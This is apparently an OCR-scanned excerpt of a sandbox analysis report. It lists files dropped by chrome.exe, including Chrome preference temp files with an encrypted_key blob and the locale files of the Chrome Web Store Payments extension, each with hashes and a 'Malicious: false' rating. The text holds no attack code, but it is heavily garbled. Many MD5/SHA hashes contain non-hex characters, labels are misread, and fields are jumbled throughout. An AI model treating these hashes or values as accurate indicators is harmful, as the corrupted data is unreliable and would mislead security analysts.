43567F2B6F6A183FEOA96D62AFAE73C5F34E4778B
554B013C7A9E2EF0254A2727B50295B4FCFB08D4A26F324526E24CB7A1FAEFCS
99190688D7180914F660533453588BA7CD0103A52E93BEC2268356F83BCDE19B34059D760442F1C96AF7369D1125E4D9B566552F8F9012D5E423C8CD74C3EEC3
false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version:"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"int":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local*:1.652478970076093e+12,"network":1.652446571e+12,"ticks":204027670.0,"uncertainty":3890124.0}},"0s_crypt":{"encrypte
d_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABUPWY4cSyAQZRX3j8/SLMMAAAAAAIAAAAAABBMAAAAAQAAIAAAACCTIWC]ByxIY/Ds1S6cdCxJ
W6iSr1QfjoKIVKoVEQ4EAAAAAABAAAAAAGAAIAAAADIPMFiGKkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNXMAAAAK+RpovfPE INtBSnOpQgPMjPTyt2TIWP
eru9i3yP05zNVEjOuCRDWfONruG9ricX1kAAAADB9KtQIKY2z38GdfaF7dW2ZLcAMHOX20EKBg8ZJG9lsuMexxChB4M8HFpybOBpr6axpi+zmMIXt76noTOxFzKN"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075265799"},"policy":{"last_statistics_update":"13296952567194

C:\Users\user\AppData\Local\Google\Chrome\User Data\f4fe4680-1eb6-4504-b117-b5467a99cd31.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

395227

6.014489169430707

false

12288:nsh3XSJShixzurRDn9InfNxF4ijZVtiIBW:nshnAUOORzxxPjjt8W
1208E832B65769870BF330FE33404E5E
9DD89F9A3AEBSEEBB6FF84E1A7C755E7A64FC1C2
134CF6B88E33E8DB275172C6EAC67BE9056EC73830501CA4CBICA5171D5E9DOC

A477BD62DD15722838338E7631A52E8B149D4F62DDEBA44FA9097A825AD4374D030E564BA781341CBBCFAD7AF3A4EF6DESE2B03C2A726EDD815952D27E46AE
27

false
low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652478970076093e+12,"network":1.652446571e+12,"ticks":204027670.0,"uncertainty":3890124.0}},"os_crypt":{"encrypte
d_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABUPWY4cSyAQZRX3j8/SLMMAAAAAAIAAAAAABBMAAAAAQAAIAAAACCTIWC]BYxIY/Ds1S6cdCxJ
W6iSr1QfjoKIVKoVEQ4EAAAAAABAAAAAAGAAIAAAADIPMfiIGKWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNXxMAAAAK+RpovfPE6 INtBSnOpQgPMjPTyt2TIWP
eru9i3yP05zNVEjOuCRDWfONruG9ricX1kAAAADBIOKtQIKY2z38GdfaF 7dW2ZLcAMHOX20EKBg8ZJG9lsuMexxChB4M8HFpybOBpréaxpi+zmMIXt76noTOxFzKN"},"pa
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C:\Users\user\AppData\Local\Google\Chrome\User Data\fc5b4e4c-b91b-46ce-aa59-993536d4e3e5.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

398794

6.026230420381734

false

12288:Uysh3XSJShixzurRDn9nfNxF4ijZVtilBW:rshnAUOORzxxPjjt8W
8EB3486234C75F01228AEA7EBFD42942
D16F6EDD114C762AA2589E5D68E9AE182044008A
A5539991CF920BAC87640F7A0F16AC13C2CD96B5F963113BD109140EA84C3916
177463248FF17E56C3B6EC457F6A1882C9741B22EESDEEBD3DE48975AC705243E6BF1A3232F1B001893D7F76E9D305C7F1B6933575AA05BB8FICCE712485F891
false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652478970076093e+12,"network":1.652446571e+12,"ticks":204027670.0,"uncertainty":3890124.0}},"0s_crypt":{"encrypte
d_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABUPWY 4cSyAQZRX3j8/SLMMAAAAAAIAAAAAABBMAAAAAQAAIAAAACCTIWC]BYxIY/Ds1S6cdCxJ
W6iSr1QfjoKIVKoVEQ4EAAAAAABAAAAAAGAAIAAAADIPMFiIGKWkdrfU+zeMpOLPS1eDxLpcgjYP2R/nde CNXMAAAAK+RpovfP6 INtBSnOpQgPMjPTyt2TIWP
eru9i3yP05zNVEjOuCRDWfONruG9ricX1kAAAADBI9KtQIKY2z38GdfaF7dW2ZLcAMHOX20EKBg8ZJG9lsuMexxChB4M8HFpyb0Bpréaxpi+zmMIXt76noTOxFzKN"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230469086205"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Temp\327bbf88-3f7e-4a7f-a421-85ab80770821.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

very short file (no magic)

dropped

1

0.0

false

3Ll

5058F1AF8388633F609CADB75A75DC9D
3A52CE780950D4D969792A2559CD519D7EE8CT727
CDB4EE2AEAG69CC6A83331BBE96DC2CAA9A299D21329EFB0O336FC02A82E1839A8

0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CCO9EBC2A07E61F007BAF58FBF94FF9A8695BDDSCAE7CEO3BBF1E94E93613A00F2
5F21

false

low

C:\Users\user\AppData\Local\Temp\3c97f0cf-f5b8-4e43-a5d0-8b55c73133df.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

Google Chrome extension, version 3

dropped

248531

7.963657412635355

false
3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmMCcId9R6YYfEp4ABUGDcaKkirv:k30F4Z24h45P99FId9RBQYBVcaxInfL
541F52E24FE1EF9F8E12377A6CCAEOCO

189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6G
81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AALIA78BCACFAS7D6E763AABI7276C8FI088940AC0476690D4D46023FFABF52F3326(
88

false

low

Cr24.............. 0.."0..* H..cooed O \7c.<........ Fto.8.2'5..9k...%....2...C.F.9.#.e.xQ....... [..L]..3> . uT. 7. (yM...?2V.<2.......1.a...07d.... A H...MpB..T.m..Vn Ip..>k.|
1..n.<Fb.f.*Ql.....s..2.{*.6....Pp....obM..1....... bl....... (uM'z....v.FW.X4."-*eu...b......... \..Fl..b...I5....2).q....... L]....w[T0.6....E.....r.%Z.vFm.9..5!,.~g5...;.t..."]....+A.....u..
.k..e.&.l6ryu..%.f..... N.V...<+..lL}{.z.)y.n. )....,.b..508K%..0.g.D.S.F50..<(..>.\f.X.l..2"..w...7f.~.c.4.E.....0..0..* H.........0......)."..b.*$mW\$.q& ]zF _2..
32U WLL.2. R WL LK SWL.$.J.. +MLHZ.N U bl { K@]6.LIPL...] (A e L) HL QMG . ix. #.29)..[.2..0K 1S, Y. %.Ky....0. {1+~ d e Z
)(6..@7?v.;~..2..c....[0Y0..* H.=...*H.=..B............2.+Y.l.k.bR.j5SI..8....... H".-..".Q{...FOD. .0..|'. A.L.+.=.. .kP.L.1..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\3c97f0cf-f5b8-4e43-a5d0-8b55c73133df.tmp
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3
Category: dropped
Size (bytes): 248531

Entropy (8bit):  7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjICIUXZSk+QSVh85PxEalRVHmMcld9R6YYfEp4ABUGDcaKKkirv:k30F4Z4h45P99FId9RBQYBVcaxInfL

MD5: 541F52E24FE1EF9F8E12377A6CCAEOCO

SHAL: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AALIA78BCACFAS57D6E763AABI7276C8FI088940AC0476690D4D46023FFABF52F3326(
88

Malicious: false

Reputation: low

Preview:  Cr24.........0."0..5H............ O \7c.<....... Fto.8.2'5..gk...%....2...C.F.9.#4..e.xQ....... [..L]...3>uiT. 7. (yM..?2V.<2.......1.a..0?d.....A.H...MpB..T.m..Vn Ip..>k.|

1.n.<Fb.f.*Ql.....s..2.{*6....Pp...obM..1....... bl..... (uN'z.....v.FW.X4."-*eu...b......... \..Fl..b...I5....23.q....... L]....w[T0.6....E.....r.%Z.vFm.9..5!,.~g5...; LHALLUL.
k... &.16ryu..%. f......N.V..<+..l}{.z.)yn..)....b..508K%..0.9.D.S.F50.<(...>..\.X.I.2"L.w..7f.~c4.E...0.0..*H......0...). .b*$w\$.q&]zF_2..
102U WoLL2 R WL LK SW..$.d... +MLHZ.n U.)N.|b .. { K@]6.LIP/...](A........ 1..).H...1Q.y;MG.d..ix.#{.Z$]..|.2...0K..t"i..5...Y..%.Ky....0..{ I+.~V.;...J....Z
.)(6..@7V.;~..2..c...[OYO0.. *H.=..*H=..B.ccce...... r.2.+Y.l.k.bRj5SI.8.....H"i.-l...Q{..FOD. .0..]l. A.L.+.=..kP.L.1..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\bg\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 796

Entropy (8bit):  4.864931792423268

Encrypted: false

SSDEEP: 12:1HEJMLKSIWZGGMLKSIwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJO30yZnLt:1HE7n4gn8WY pYrbhz8ZpotHOGAOf6aD

MD5: 6F8E288A9AD5B1ED8633B430E2B4D4CA

SHA1L: F671D3D4BEFA431D1946D706F4192D44E29B6F08

SHA-256: A114E2783D0OE9B12155017323BA70838F0F82A71C7EESDC1F115AE36991241F8

SHA-512: 0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDAGD71FAFC5A900D92ADFBBOE7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F770
oc

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": ". ..Chrome".. },.. "app_name":{.. "message": ..Chrome".. },.. “"craw_app_unavailable™: {..
"message": " ".. }.. "craw_connect_to_network™ {..  "message":"...., ... ....". “iap_unavailable" "message”: "

}.. “jwt_retrieve_failed": {..  "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. = "message™ "...., ......

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\ca\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 675

Entropy (8bit):  4.536753193530313

Encrypted: false

SSDEEP: 12:1HEJOgbbGGOgbb+WYpU34g3YbiLO+dgyGFo08ZpU34+puiPmb030yZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOKD

MD5: 1FDAFC926391BD580B655FBAF46ED260

SHAL: C95743C3F43B2B099FEBEBC5BD850F0C20E820AC

SHA-256: C67898B67FICI209EAFDAB532B62D5789863CFB855998DD6A70E7775316CEC20

SHA-512: 39D95D45C5746DA3BAATAEBA3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672C|
B4

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Sistema de pagaments de Chrome Web Store".. },.. "app_name": {..  "message": "Sistema de pagaments de Chrome Web
Store".. },.. “"craw_app_unavailable": {.. = "message": "Ara mateix aquesta aplicaci. no est. disponible.".. },.. "craw_connect_to_network": {..  "message": "C
onnecteu-vos a una xarxa.".. },.. “iap_unavailable™: {.. = "message": "La funci. Pagaments a |'aplicaci. no est. disponible actualment.”.. },.. "jwt_retrieve_failed": {..
"message": "The transaction could not be completed.".. },.. "please_sign_in":{..  "message": "Inicieu la sessi. a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\cs\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
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Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

dropped

641

4.698608127109193

false
12:1HEJfZGGfZ+WYpU340Bh+dgN/O8ZpU34j05U030yZnLAOfTYWC: 1HEI4G8WY pdt8Zpg5TOGAOfW
76DEC64ED1556180B452A13C83171883

CFB1E56FD587BCDC459C1D9A683B71F9849058F9
32290D69A90E6BAAC4A28B10382C99221B12773BB9A184F3B93DFB48A4FE6D7A40

5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEBIC0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D8488!
CcB

false

low

{.. "app_description":{..  "message": "Platby Internetov.ho obchodu Chrome".. },. "app_name":{.. "message": "Platby Internetov.ho obchodu Chrome".. },..
"craw_app_unavailable™: {..  "message": "Aplikace v sou.asn. dob. nen. dostupn. },.. "craw_connect_to_network": {.. = "message": "P.ipojte se pros.m k s.ti."..
},.. "iap_unavailable™ {..  "message": "Platby v aplikaci aktu.In. nejsou k dispozici }.. jwt_retrieve_failed™: {..  "message": "The transaction could not be
completed.".. },.. "please_sign_in":{..  "message": "P.ihlaste se do Chromu.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\da\messages.json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

624

4.5289746475384565

false
12:1HEJIMKKFZGGJIMKKFZ+WYpU340Hu+dgxICZ08ZpU34J4Wu030yZnLAOfTYzD:1HErMKfgMKVWYpM6IL8ZpDNOGAOfiD
238B97A36E411E42FF37CEFAF2927ED1

4E47AC90BA24C8F4724D9293FA40CFD4ADABEFEQ
4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9

FD0742D47B5F5AB9AADIB4C3D57F63CB693EOGOEECE123A72036C6E92156D099495C7E9E9CCE6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C5
EOA

false
low

{.. "app_description": {..  "message": "Betalinger i Chrome Webshop".. },.. “app_name":{.. "message": "Betalinger i Chrome Webshop".. },.. “craw_app_u
navailable™: {..  "message": "Appen er ikke tilg.ngelig i .jeblikket.".. },.. “craw_connect_to_network™ {..  “"message": "Opret forbindelse til et netv.rk.".. },..
“iap_unavailable™: {..  "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket.".. },.. “jwt_retrieve_failed": {..  "message": "The transaction could not be comp
leted.".. },.. "please_sign_in":{..  "message": "Log ind p. Chrome.".. }.}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\de\messages.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

651

4.583694000020627

false
12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgIMICTO8ZpU34p6FK6030yZnLAOFTYJI6K: IHEZWWY p3Bewv8Zp7k4OGAOFQ)
6B3E916E8C1991AA0453CBAOOFEDCAAA

D6366D15912E40CA107FD42BFE9579C3336A51F9
A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053

87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79BOABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80
552

false
low

{.. "app_description":{..  "message": "Chrome Web Store-Zahlungen".. },.. "app_name" {.. "message": "Chrome Web Store-Zahlungen".. },.. "craw_app_una
vailable™: {..  "message": "Die App ist momentan nicht verf.gbar.".. },. “"craw_connect_to_network™ {..  "message": "Bitte stellen Sie eine Verbindung zu einem
Netzwerk her.".. },.. "iap_unavailable": {.. ~ "message": "In-App-Zahlungen sind momentan nicht m.glich.".. },.. "“jwt_retrieve_failed": {..  "message": "The trans
action could not be completed.”.. },.. "please_sign_in": {..  "message": "Bitte melden Sie sich in Chrome an.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\ _locales\el\messages.json

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Google\Chrome\Application\chrome.exe
UTF-8 Unicode text, with CRLF line terminators

dropped

787
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Entropy (8bit):  4.973349962793468

Encrypted: false

SSDEEP: 24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWIOGAOf+XD:WguYpCZnpEZbGoD

MDS5: 05C437A322C1148B5F78B2F341339147

SHAL: AB53003A678E44A170E73711FBD9949833BBF3AA

SHA-256: A052C32B4FCAC61152EBOADB2C260FB6A8256AD104AA0013DBI3E9798D41A070

SHA-512: C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EEO0BD60784A6B¢
0

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "........ ... Chrome Web Store".. },.. "app_name™ {.. "message": "........ ... Chrome Web Store".. },.. "craw_app_unavail
able™ {.. "message":". ".. },.. "craw_connect_to_network": {.. = "message": },.. “iap_unavailable": {..
"message": ".. }.. "jwt_retrieve_failed": {..  "message": "The transaction could not be completed.”.. },.. "please_sign_in"
{.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\en\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit):  4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU340uFpR+dgGfFZ08ZpU34aEGFpRO30YZnLAOfTYdD: 1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4ESADF11AC

SHAL: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3DICY

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EEOBD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BFI8AGE
FFD9

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Chrome Web Store Payments".. },.. "app_name":{.. "message": "Chrome Web Store Payments".. },.. "craw_app_unava
ilable™ {..  "message": "App currently unavailable.".. },.. “craw_connect_to_network™ {..  “"message": "Please connect to a network.".. },.. “iap_unavailable": {..
"message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. = "message": “The transaction could not be completed.".. },.. "please_sign_in":
{.. "message": "Please sign into Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\ _locales\en_GB\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit):  4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU340uFpR+dgGfFZ08ZpU34aEGFpRO30YZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4ESADF11AC

SHA1L: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3DICY

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EEOBD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BFI8AGE
FFD9

Malicious: false

Reputation: low

Preview: {.. "app_description":{..  "message": "Chrome Web Store Payments".. },.. "app_name": {.. "message": "Chrome Web Store Payments".. },.. "craw_app_unava
ilable™: {..  "message": "App currently unavailable.".. },.. “"craw_connect_to_network™: {.. = "message": "Please connect to a network.".. },.. “iap_unavailable": {..
"message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. = "message": "The transaction could not be completed.”.. },.. "please_sign_in":
{..  "message": "Please sign into Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\es\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: UTF-8 Unicode text, with CRLF line terminators
Category: dropped

Size (bytes): 661

Entropy (8bit): 4.450938335136508

Encrypted: false
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SSDEEP:
MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

12:1HEJHIbGGHIb+WYpU34ubdDH+dgxbFxTO8ZpU34IPbdIVo030yZnLAOFTY6x|D:1IHEvaC6WYpcDeEFxq8ZpNISOGAOfD
82719BD3999AD66193A9B0OBB525F97CD

41194D511F1ACC16C1CA828AC81C18C8C6B47287
4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BBOSESDB1CY

D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDFOB51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCEO:
28

false
low

{.. "app_description": {..  "message": "Sistema de pagos de Chrome Web Store".. },.. "app_name™ {.. "message": "Sistema de pagos de Chrome Web Store"..
},.. "craw_app_unavailable™: {..  "message": "Esta aplicaci.n no est. disponible en este momento.".. },.. "craw_connect_to_network™: {..  "message": "Con.ctate a
unared.".. },.. "iap_unavailable™ {.. "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento.".. },.. "jwt_retrieve_failed": {..  "message":
"The transaction could not be completed.".. },.. "please_sign_in":{.. = "message": "Inicia sesi.n en Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\es_419\messages.json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

637

4.47253983486615

false
12:1HEJHIbGGHIb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO030yZnLAOfTYiJD:1HEvaC6WY pcDeEFXxq8Zp4LIOGAOfVD
6B2583D8D1C147E36A69A88009CBEBC7

4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937
6659BC3705311D7641A73995DCFEAB0C7734F2F4EBBC3787B3892A240348324F

37FODBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBEY7412C4B5DBBF2593783C7DF71E9C25A851AEAEGE4764C545723FA
53

false

low

{.. "app_description": {.. = "message": "Sistema de pagos de Chrome Web Store".. }.. "app_name":{.. "message": "Sistema de pagos de Chrome Web Store"..
},.. “"craw_app_unavailable”: {..  "message": "Esta aplicaci.n no est. disponible en este momento.".. },.. “craw_connect_to_network™ {.. = “"message": "Con.ctate a
unared.".. }.. ‘“iap_unavailable": {..  "message": "En este momento, Pagos En-Apps no est. disponible.".. },.. “jwt_retrieve_failed": {..  "message": "The tr
ansaction could not be completed.”.. },.. "please_sign_in":{.. = "message": "Accede a Chrome.".. }.}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\et\messages.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

595

4.467205425399467

false
12:1HEJPGGGfPG+WYpU34Ze7z+dgrw908ZpU34ZwZz030yZnLAOFTYgoLIR:1HEdvgIWYpTeObk8ZpT/OGAOfULIR
CFF6CB76EC724B17C1BC920726CB35A7

14ED068251D65A840F00C05409D705259D329FFC
C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD
53D7D01BB30C0306DE65A79FDI551D2E8C1F71F4F45F71906B009071CB3EOF231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F

false

low

{.. "app_description": {..  "message": "Chrome'i veebipoe maksed".. }.. “"app_name":{.. "message": "Chrome'i veebipoe maksed".. },.. "craw_app_unavail
able™: {..  "message": "Rakendus pole praegu saadaval.".. },.. "craw_connect_to_network": {.. = "message": "Looge .hendus v.rguga.".. },.. “iap_unavailable": {..
"message": "Rakendusesisesed maksed ei ole praegu saadaval.".. },.. "jwt_retrieve_failed": {.. = "message": "The transaction could not be completed.".. },..
"please_sign_in":{..  "message": "Logige Chrome'i sisse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\fi\messages.json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with CRLF line terminators

dropped

647

4.595421267152647

false

12:1HEJRuzGGRuz+WYpU34ujSBu+dgY08ZpU34J+Bu030yZnLAOfTY5HN: IHEFcWYpPNa8ZpD+FOGAOfEHN
3A01FEE829445C482D1721FF63153D16

F3EAAADDCO03F943FC88B30B67F534AA13E3336DD
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SHA-256: OBDE54B20845124113383B6EB81E43A0F05SE4EBOC44BEE3C1DFAC4CC5FEC2836

SHA-512: 3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85BIDCA2F3ECOEI74FDDBOBE,
D8

Malicious: false

Reputation: low

Preview: {.. "app_description":{.. ~ "message": "Chrome Web Storen maksut".. },.. "app_name": {..  "message": "Chrome Web Storen maksut".. },.. "craw_app_unavail
able™ {..  "message": "Sovellus ei ole t.Il. hetkell. k.ytett.viss..".. },.. "craw_connect_to_network": {..  "message": "Muodosta verkkoyhteys.".. },.. "iap_unavai
lable™: {..  "message": "Sovelluksen sis.iset maksut eiv.t ole t.Il. hetkell. k.ytett.viss..".. },.. "“jwt_retrieve_failed": {.. = "message": "The transaction could not be
completed.".. },.. "please_sign_in":{..  "message": "Kirjaudu sis..n Chromeen.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3012_272790469\CRX_INSTALL\_locales\fil\messages.json

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 658

Entropy (8bit):  4.5231229502550745

Encrypted: false

SSDEEP: 12:1HEJADIbGGADIb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeTO30yZnLAOFTYHfvF:1HEYah6WYp7TUS0oxOS8Zp7TOsSOGAOfqV

MD5: 57AF5B654270A945BDA8053A83353A06

SHA1L: EEEF7A4F869F97CF471A05D345E74F982D15E167

SHA-256: EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2

SHA-512: 5FOAE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBBIFBBIA3BESD8F7BB5E9IB6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAFS
2

Malicious: false

Reputation: low

Preview: {.. "app_description": {.. = "message": "Mga Pagbabayad sa Chrome Web Store".. },.. “"app_name™: {..  "message": "Mga Pagbabayad sa Chrome Web Store"..
}... “craw_app_unavailable™: {..  "message": "Kasalukuyang hindi available ang app.".. },.. “craw_connect_to_network™ {..  "message": "Mangyaring kumonekta
saisang network.".. },.. "iap_unavailable™ {.. = "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App.".. },.. "“jwt_retrieve_failed": {..
